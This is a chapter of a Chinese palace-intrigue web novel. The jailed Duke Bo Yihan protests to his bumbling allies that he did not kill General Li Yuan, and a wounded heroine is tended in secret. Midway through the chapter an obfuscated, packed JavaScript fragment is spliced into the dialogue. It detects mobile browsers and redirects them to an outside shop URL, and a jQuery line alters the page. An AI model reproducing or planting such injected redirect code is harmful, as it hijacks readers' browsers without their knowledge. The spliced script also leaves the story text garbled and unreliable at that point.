90.又入狱了
作品:《敛骨吹》 太子薄恒从内殿走出来,一脸阴郁,面上疲惫急了,看了眼还跪着的薄屹寒,皱了皱眉,吩咐道:“虎子,把此贼人......”
“报——禁卫司急报!禁卫司急报!”
薄恒甩袖,虎子立马给他搬了把椅子,让他坐下。
“慌什么,”薄恒道:“什么事如此慌张?”
那人单膝跪地,抬手抱拳禀告道:“内阁几位学士大人,大理寺少卿顾大人,户部尚书龚大人,礼部鸿胪寺沈大人,及其他十几位朝中要员和几名北安军将士,现正在宫外,求陛下彻查李将军遇害一案!”
“!!!”
薄恒惊得又从椅子上站起来,下意识回头看,正好对上薄屹寒那双含笑得意挑衅的眼神。
“反了!都是要造反不成!”薄恒气得来回踱步。
虎子怒斥禁卫司的人,“还愣着做什么?陛下重病未愈,你还敢拿这些烂事去污陛下的耳朵,若出了事,你吃罪得起吗?”
“不,属下不敢属下不敢。”
海棠从内殿走出,到薄恒身边,不知跟薄恒说了什么,他脸色微变,绷着脸轻点头,不咸不淡地扫了禁卫司的人一眼,道:“你进去把事情禀明父皇。”
那人一愣,立马道:“是。”
其实他们二人说什么并不难猜。外头要求彻查此案的有北安军的人,北安军曾经的领头将军不明不白的死了,不光是留在长安的这些将士,还有在凉州,在边关三城的二十万将士都等着要一个结果。
张家与太子对凉州的五万兵权虎视眈眈已久,绝不会在此刻轻视北安军的人。
过了片刻,牡丹从内殿走出来,向着外殿的诸位行了个礼,道:“陛下口谕,李渊乃国之大将,陛下爱臣,如今死的不明不白,陛下痛心疾首,命太子彻查此案,找出凶手,给李家一个交代。”
他看了眼薄屹寒,道:“镇国公私出长安,形迹可疑,有重大嫌疑,现押入大理寺牢狱,严加看管,以待来日审理。”
众人纷纷跪地:“谨遵圣旨。”
夏景年伸了个懒腰,笑道:“看来本宫今天的热闹是看的差不多了,既然皇帝陛下龙体有恙,那本宫就先回去了。”
薄屹寒对进大牢的流程已经轻车熟路了,大理寺卿宇文决不太想掺和到这些事中,怕两遍得罪人,便一切全部按照章程办事,当天夜里,薄屹寒就住上了牢狱单间。
——
他吃了几口不算好吃的饭,就靠在墙壁上闭目休息,他其实困极了,才不管这里冷不冷脏不脏,要是想的话直接到头就能睡着。
但是他估计今晚会有人来找自己,所以一直吊着些精神。
他想可能是薄砚尘,可能是夏景年,可能是阿满,但是来人有点出乎他的意料。
“国公爷。”
薄屹寒扯了扯嘴角,看着扒头举着烛台向他招手的顾原。
“国公爷,你过来一下。”
“......”薄屹寒一动,就因为绳子勒的地方疼的呲牙咧嘴,他手脚并用爬过去,只见顾原怀里揣着个大包袱。
“!”
嚯,这么多线索!
顾原比了个“嘘”的手势,把烛台搁在地上,解开了包袱,里面掉出来一堆“破烂”。
“这是南夏皇子托下官给你带的,他从宫里顺的点心,就是时间长了,都压碎了,这几块还算完整的,你拿着吃。”
顾原捧起七零八落的几块点心,顺着木头栏给他递进去,也没看薄屹寒手脏不脏,就直接放在他手上。
“这个是三殿下托下官给你带的,一本话本子,他说是现在长安最火的一本了。还有一把刀让你在牢里练练身手,但是我跟宇文大人好说歹说,他就是不让我带进来......”
顾原又扔进来一本沾满了糕点碎屑的书。
薄屹寒一个头两个大。
“这个......这个是下官的一点心意,这牢里草纸不好用,容易划伤,您要是......就用这个。”
薄屹寒心道终于有点有用的了,立马把纸拿过来,借着烛火一张一张翻看。
可惜翻看完,也就真的只是几张洁白的草纸,一个字都没有。
他有些懵地抬头,“空白的?”
“对,擦......可不就是空白的吗?”顾原也懵了,“难道镇国公还有别的爱好吗?也喜欢如厕的时候背书?”
薄屹寒气的头顶冒烟,咬牙道:“还有吗?”
“有......有.......这个......这个是北安军诸位将军和五一将军一起的心意,是一把梳子,说您在牢里没事的时候梳梳头,放松精神,可以睡得更好些......”
顾原说着,又去那包袱里翻东西。
薄屹寒实在忍不住了,“你这里头就没点有用的吗?”
“有用的?”顾原愣了一下,忽然恍然大悟,“您是说令栀姑娘是吧,她没有托下官带东西进来,估计是还不知道,不过您放心,明日一早......”
“我说的有用东西,是李渊的验尸记录,或者其他的什么线索!”薄屹寒又气又急,还得压着声音。
顾原认真的点了点头,招呼薄屹寒附耳过来。
然后他特别轻声道:“您放心,我们都商量过了,心里都有数。”
这句话更是让薄屹寒云里雾里,看了看手里这堆东西,道:“你们就商量出来这些东西?”
顾原又点头,再次轻声道:“我们都会想办法为您脱罪的。”
“......”
薄屹寒硬是深吸了口气,一把拽过顾原。
“那他妈不是老子干的!你们脱个屁的罪啊!”
顾原募地睁大了双眼,一脸不可置信。
顾原:“不是?怎么可能......”
薄屹寒低声怒道:“你们是不是脑子让驴给踢了!我杀他干什么!还商量!你们商量了个屁!还不如商量商量过几天把我埋在哪儿!”
顾原摆摆手让他不要着急,伸手挠了挠头发,觉得好像有什么东西抽丝剥茧正往外生长。
“您的意思是说,”顾原狐疑地看着他,“李渊的死,跟您没关系?”
“......”
薄屹寒把手里的糕点再次捏成了碎屑,一个字一个字往外蹦,“我、没、杀、他!”
顾原:“那他怎么死的?”
“你问我?”薄屹寒气得咳嗽了两声,指了指隔着两人的木栏杆,提醒道:“我在里头,你们在外头!”
顾原煞有其事点了点头,道:“那这样的话,下官会把国公爷的话带到,再与诸君商议一番。只是事情与我们所料完全不同,恐怕得商议些时辰。”
“......”
见他不说话,顾原又把身子探了过来。
“这里守卫我都屏退,无人听见你我谈话,你跟下官说句实话,你......”
“滚,”薄屹寒气得把刚才顾原递进来的几样东西尽数砸了过去,“赶紧滚,不然等我出去了,揍你一顿!”
顾原手忙脚乱收拾好东西,拿着烛台站起来,一脸严肃认真的朝薄屹寒伸了个大拇指,转身走了。
薄屹寒:“......”
——
南楼。
“不是他杀的?”
“怎么可能!”
“对啊不可能,我了解我们国公爷。”
顾原坚定地表示,“真的!他就是这么说的!”
房间里的人都一脸茫然。
五一问赵肃:“你确定国公爷出城了对吗?”
“对!他让属下盯着令栀姑娘,令栀姑娘出城往城西去,他就让属下去府里叫那个面具怪和他一起出城。”
夏景年:“面具怪?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057185|188520||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
五一解释:“就是先前在府里住过一阵的一个怪人,三司会审后那人消失了一段时间,前些天又出现了,王爷就让他暂留府中。他毁了容经常吓到府里的丫鬟,王爷就派人给他打造了一个面具。”
夏景年知道是谁了。
这时,面具怪敲了敲门,赵熙起身开门,温和地笑了笑,“面具怪来了!”
阿影:“......”
他走进来,特意多看了夏景年一眼,才道:“人不是他杀的,昨日我们出城有别的事情,突然太子就来了,我也是昨日回了长安才知道李渊死了。”
这下屋里众人心中疑虑都被抹得差不多了。
薄砚尘轻咳一声,缓缓道:“那现在事情就明了了。要么是皇后提前布下计策,有意挑起李渊和小皇叔的矛盾,三司会审后她觉得时机成熟了,就想法子让春禾进城,说出阮娘身死的真相。”
五一有些疑虑:“三殿下,他们真的舍得杀了李将军吗?凉州的五万兵权,他们眼红了这么久,有李将军在他们迟早拿到兵权,现在他死了,张家就少了一员武将,难道真凭着张德一那样统领北安军吗?”
薄砚尘道:“那就是第二种情况,此事确实是张家设局,想挑起他二人矛盾,但他们并不想让李渊死,而是有别的谋划,所以春日宴上皇后让李渊出城一事真的只是无心让小皇叔听见,后来李渊身死,禁卫司回京报信,太子出城探查,恰好撞见了小皇叔。”
赵熙委屈道:“我们国公爷也太倒霉了吧。”
夏景年道:“本宫觉得,皇后命李渊出城这句话就是故意说给薄屹寒听的,从此之后,才有了变故。不过他也是够倒霉,他闲着没事干出城找令栀干什么,他们俩不能在城里私会吗?”
阿影当然不能说当天的真实场景,含糊道:“可能追求刺激吧。”
众人:“......”
——
他们继续商议接下来怎么搞到李渊的验尸记录和禁卫司回来报信那人的口供。
阿影不想听,便退了出来。
他穿梭于市集之间,坊间叫卖此起彼伏,没人注意到他进了东方医馆 ,片刻又拎着一袋子药出来,进了一个很不起眼的残旧房子。
一推门,淡淡地血腥味飘过来,他和面前带着青铜面具的男人对视了一眼,一同往榻上看去。
“怎么样了?”
陇佑接过他手上的药,道:“疼得一直说胡话。”
阿影站着没动,犹豫道:“要不掏钱找个姑娘照顾她呢,咱们两个男人,多有不便吧。”
陇佑已经在煎药了,道:“这个时候还是不要节外生枝,松雪死了,姜国到处在查,血牙又落在了安国手里,对她很不利。”
阿影点了点头,道:“那你照顾她,我先走了。”
陇佑头也不抬,把药仔细的倒进罐子里,又拿起一罐治外伤的白药朝着榻边走去。
确定了阿影真的走了,陇佑抬手摘下了面具透了口气,低头看着满头是汗,伤口渗血的姜满。
肩膀伤口已经处理过了,可双刃这种武器不似平常的刀剑,它更重更锋利,刀入血肉创口不大,但伤口很深很难愈合。
陇佑轻声道:“居然是双刃害你受这么重的伤......”
姜满恍惚着,觉得有人在给自己擦伤口,她下意识就唤了声:“王爷。”
擦伤口的人手微微一顿。
姜满好像回到前世那个山洞里,薄屹寒看见自己手腕上的伤口时惊慌失措,着急的给自己处理,明明伤的是她,可薄屹寒的汗流的比自己还多。
后来他还逗自己,说唱首歌就不疼了。
最后她也是迷迷糊糊开始发烧,印象中薄屹寒好像抱着自己,哼了首陌生却很好听的小调。
“......王爷......”
姜满无意识地呼唤,眼泪顺着眼角埋入发丝。

